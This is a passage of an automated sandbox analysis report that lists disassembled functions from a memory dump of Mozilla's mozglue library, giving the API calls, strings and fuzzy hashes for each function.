memcpy.VCRUNTIME140(00000000,?,?), ref: 6C50B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50B849

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 84bf9b0dc1e9ff0e961cf828cf0e6beb30424fb59a06b07b1702cc5644c2cefb
Instruction ID: afcff8a3ee83d548380c138ad3bdfd5d635eed760f2caaeedd71b1ef5772e801
Opcode Fuzzy Hash: 84bf9b0dc1e9ff0e961cf828cf0e6beb30424fb59a06b07b1702cc5644c2cefb
Instruction Fuzzy Hash: AD2128B4E00219DFDF04DFA9D8855BEBBB4EF49214F148529EC05A7741E731A944CBA1

Function 6C566E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C566E78

Part of subcall function 6C566A10: InitializeCriticalSection.KERNEL32(6C58F618), ref: 6C566A68
Part of subcall function 6C566A10: GetCurrentProcess.KERNEL32 ref: 6C566A7D
Part of subcall function 6C566A10: GetCurrentProcess.KERNEL32 ref: 6C566AA1
Part of subcall function 6C566A10: EnterCriticalSection.KERNEL32(6C58F618), ref: 6C566AAE
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C566AE1
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C566B15
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C566B65
Part of subcall function 6C566A10: LeaveCriticalSection.KERNEL32(6C58F618,?,?), ref: 6C566B83

MozFormatCodeAddress.MOZGLUE ref: 6C566EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C566EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C566EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C566EFF

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: fb09f04a316b12078a0081fa2c3250203390d3038b9d37bd775c44623b0263b0
Instruction ID: 8d1b78e07a2eee2bf93f2675655504bc6001fe5cf6f3776fa938e971bcb5da2b
Opcode Fuzzy Hash: fb09f04a316b12078a0081fa2c3250203390d3038b9d37bd775c44623b0263b0
Instruction Fuzzy Hash: 4A21B071A0432A9FDB00DF69DC8469AB7F8EF85308F044039E84997350EB709A588F92

Function 6C540D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C503DEF), ref: 6C540D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C503DEF), ref: 6C540D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C503DEF), ref: 6C540DAF

Strings

<jemalloc>, xrefs: 6C540D92, 6C540DB9
: (malloc) Error in VirtualFree(), xrefs: 6C540D97, 6C540DBE

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 439f0d8d4cfbe2836330ed707d54055d40819ca1a11f5464557711cb02ca6cc2
Instruction ID: bb6092488ef1c7b37d8cc7719f4ecd8367f5d775d2b99be332b4a016a1495453
Opcode Fuzzy Hash: 439f0d8d4cfbe2836330ed707d54055d40819ca1a11f5464557711cb02ca6cc2
Instruction Fuzzy Hash: 58F080313812B423D62021655C06B57265DABD2B55F35C137F654DB9C4DB60E4044A99

Function 6C565850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C56586C
CloseHandle.KERNEL32 ref: 6C565878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C565898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5658C9
free.MOZGLUE(00000000), ref: 6C5658D3

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 409fe71241a2378c3bd396f8dcc8215a390158a71e125b2519f40a7ca738911f
Instruction ID: 227f7d4c90c73ec43108b377678dacf013472b7978dff040998466a35505767d
Opcode Fuzzy Hash: 409fe71241a2378c3bd396f8dcc8215a390158a71e125b2519f40a7ca738911f
Instruction Fuzzy Hash: C601A271702121ABDF00DF16DC086067BB8FB8B3287661335E019C2BA2D73198148F88

Function 6C557620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5575C4,?), ref: 6C55762B

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557644
GetCurrentThreadId.KERNEL32 ref: 6C55765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557677

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ecbdb1928477221a38fd847914da05f0cde407173a829139ecf5e70d42c59329
Instruction ID: f955bd9eb5b970ca8d795e8933cf70b02dd987703c76a1d4b96446d597cd3ccd
Opcode Fuzzy Hash: ecbdb1928477221a38fd847914da05f0cde407173a829139ecf5e70d42c59329
Instruction Fuzzy Hash: 08F0FF71E10745AFE3009F21CC88A76B778FFEB258F126316F90442602E7B1A5D08BE0

Function 6C561700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C561800

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5618C7
Details, xrefs: 6C561925
name, xrefs: 6C561939

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1d579f03abda0c8ceedd4e8f1ced1bc37baa0d7d1713f3fa5ffe47030cc8ba8e
Instruction ID: d8f02b08b95b5fafb285d5d9df24c122a8f6d64cb5eed8179a899e86a55ee44b
Opcode Fuzzy Hash: 1d579f03abda0c8ceedd4e8f1ced1bc37baa0d7d1713f3fa5ffe47030cc8ba8e
Instruction Fuzzy Hash: DC71E671A00356DFCB04DF29D8547AABBB1FF86304F444669D8154BB41DB70EA94CBE1

Function 6C52D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

EnterCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D4F2
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D50B

Part of subcall function 6C50CFE0: EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
Part of subcall function 6C50CFE0: LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D52E
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D690
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D751

Strings

MOZ_CRASH(), xrefs: 6C52D4BB

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b2385b91cb8d3752be2d6138d023ae502ce0846277d8e2c0ade974e4e60cea82
Instruction ID: a5a9f0e74814c7929a7dd1f9d16a5d5f1f2feeec30643c11d003e1ea1fdeaf52
Opcode Fuzzy Hash: b2385b91cb8d3752be2d6138d023ae502ce0846277d8e2c0ade974e4e60cea82
Instruction Fuzzy Hash: C4510171A057618FD714CF28C89471AB7F1EF8A304F658A2ED599C7B85E774E800CB92

Function 6C554630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C554721

Strings

., xrefs: 6C55476A
-%llu, xrefs: 6C554733
profiler-paused, xrefs: 6C5546E4

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 2ee8997ebb20ef2063f8d5303129814d9d9541b3bc4e4389155aa4f75a4280db
Instruction ID: bcbf5d4c661b65a2feac9eab04ba1351a1a9b2481c2f052d64cbdf7063fd34f2
Opcode Fuzzy Hash: 2ee8997ebb20ef2063f8d5303129814d9d9541b3bc4e4389155aa4f75a4280db
Instruction Fuzzy Hash: EF414571E046189FCB08DF78EC5119EBBE5EF85344F50873EE849ABB81EB3098648791

Function 6C579830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C57985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C57987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5798DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5798D9

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 8c415b3f4124b0e59251dfb76b34a162c0738790d82081000b0db3a9f1c13597
Instruction ID: 2cb8aedd3fcc112b5a60a764458aaf74eaea4316e737e44e5cba1c0f6e22cbca
Opcode Fuzzy Hash: 8c415b3f4124b0e59251dfb76b34a162c0738790d82081000b0db3a9f1c13597
Instruction Fuzzy Hash: 00313571A00128ABDF14AF58DC109EF77B9DF89314F50842DEA1A9BB40EB31AD048BE1

Function 6C5546E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C554721

Part of subcall function 6C504410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C543EBD,00000017,?,00000000,?,6C543EBD,?,?,6C5042D2), ref: 6C504444

Strings

., xrefs: 6C55476A
-%llu, xrefs: 6C554733
profiler-paused, xrefs: 6C5546E4

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 81e985e16935fb51167c4a2b6d4afaacb334e01db859523f0630a80f166f981c
Instruction ID: 48abac64f96ec960826564b2ff33f42570dd454ec1472c87951e667073fb50d4
Opcode Fuzzy Hash: 81e985e16935fb51167c4a2b6d4afaacb334e01db859523f0630a80f166f981c
Instruction Fuzzy Hash: 49312671F142189FCB08CF6CDC9129EBBE6DB89314F55863EE8099BB41EB7098158B90

Function 6C55B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C55B127), ref: 6C55B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C55B4E4

Strings

pid:, xrefs: 6C55B4DE

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 5538d3ec9da3ec42ee7ceaef299eec73449005b1cce148fc7ff17e55fbbc43c2
Instruction ID: 230cb6c78e49d091ad3aa437723465d8da4d0263841ff201a182858044389a60
Opcode Fuzzy Hash: 5538d3ec9da3ec42ee7ceaef299eec73449005b1cce148fc7ff17e55fbbc43c2
Instruction Fuzzy Hash: 4A312731A01218DFDB10EFA9DC44AEEB7B6FF45308F94052AD81167B41E731A955CBE1

Function 6C51BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C567A3F), ref: 6C51BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C567A3F), ref: 6C51BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C567A3F), ref: 6C51BF7E

Strings

Wl, xrefs: 6C51BF84

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Wl
API String ID: 4279176481-629350900
Opcode ID: 61ddf600a1eafaa54c2805ca005e5f03ac9dc7b7ab4d7c7bd5385c686313dc29
Instruction ID: 23e541e4e45aab035b19a7bcc1eb3cc11b4c7dfd22cebbdc50697838e17c421b
Opcode Fuzzy Hash: 61ddf600a1eafaa54c2805ca005e5f03ac9dc7b7ab4d7c7bd5385c686313dc29
Instruction Fuzzy Hash: 9E11C3B52017048FC725CF0CD99996AFBF8FF5A304315885DE98A8B751C771E804CB94

Function 6C54E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54E577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54E584
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C54E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C54E5A1, 6C54E5CC, 6C54E5FF, 6C54E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C54E826, 6C54E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C54E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C54E722, 6C54E750, 6C54E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C54E777

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 6dda1258fed99ce0f5cbff86027f0d31923ab7bcb23f71fdf0f9d3875a3eb717
Instruction ID: 53e3f671a189093c1bbb74461a5de22f8e7a5c88521a7e6d141537066ed52a9a
Opcode Fuzzy Hash: 6dda1258fed99ce0f5cbff86027f0d31923ab7bcb23f71fdf0f9d3875a3eb717
Instruction Fuzzy Hash: 1811A131606264DFCB00EF14CC48B6ABBF8FB8A328F52561AE84547661D770A804CB99

Function 6C550C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C550CD5

Part of subcall function 6C53F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C550D40
free.MOZGLUE ref: 6C550DCB

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

free.MOZGLUE ref: 6C550DDD
free.MOZGLUE ref: 6C550DF2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a69f1c1d6e71c4a9bc5ce8359e7948013189a7f9bf61268c9aa07d8385a11d8c
Instruction ID: 80627c5e835a7759885c891cc34fdd4c6597562b49a12489c860ba0b0065baa1
Opcode Fuzzy Hash: a69f1c1d6e71c4a9bc5ce8359e7948013189a7f9bf61268c9aa07d8385a11d8c
Instruction Fuzzy Hash: 85412871908790CBD720CF29C88079AFBE5BFC5618F518A2FE8D887750D7709854CB92

Function 6C540800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C540838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C54084C
EnterCriticalSection.KERNEL32(?), ref: 6C5408AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5408BD
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C5408D5

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: f8c48560714d57a81323d9cc700e87d5f565b19426a34c9a3028d14e65bb55e4
Instruction ID: 20e47905d670de02d7394a38dbfcc19d5ce15c1d2dbe11c14bfd5aefd4fc1dd0
Opcode Fuzzy Hash: f8c48560714d57a81323d9cc700e87d5f565b19426a34c9a3028d14e65bb55e4
Instruction Fuzzy Hash: C221F231B022699BEF04DF65DC44BBE73B9AFC6708F604529D509E7A00DF71A8048BD4

Function 6C55CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CDA4

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

Part of subcall function 6C55D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C55CDBA,00100000,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D158
Part of subcall function 6C55D130: InitializeConditionVariable.KERNEL32(00000098,?,6C55CDBA,00100000,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CDC4

Part of subcall function 6C557480: ReleaseSRWLockExclusive.KERNEL32(?,6C5615FC,?,?,?,?,6C5615FC,?), ref: 6C5574EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CECC

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

Part of subcall function 6C54CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C55CEEA,?,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000), ref: 6C54CB57
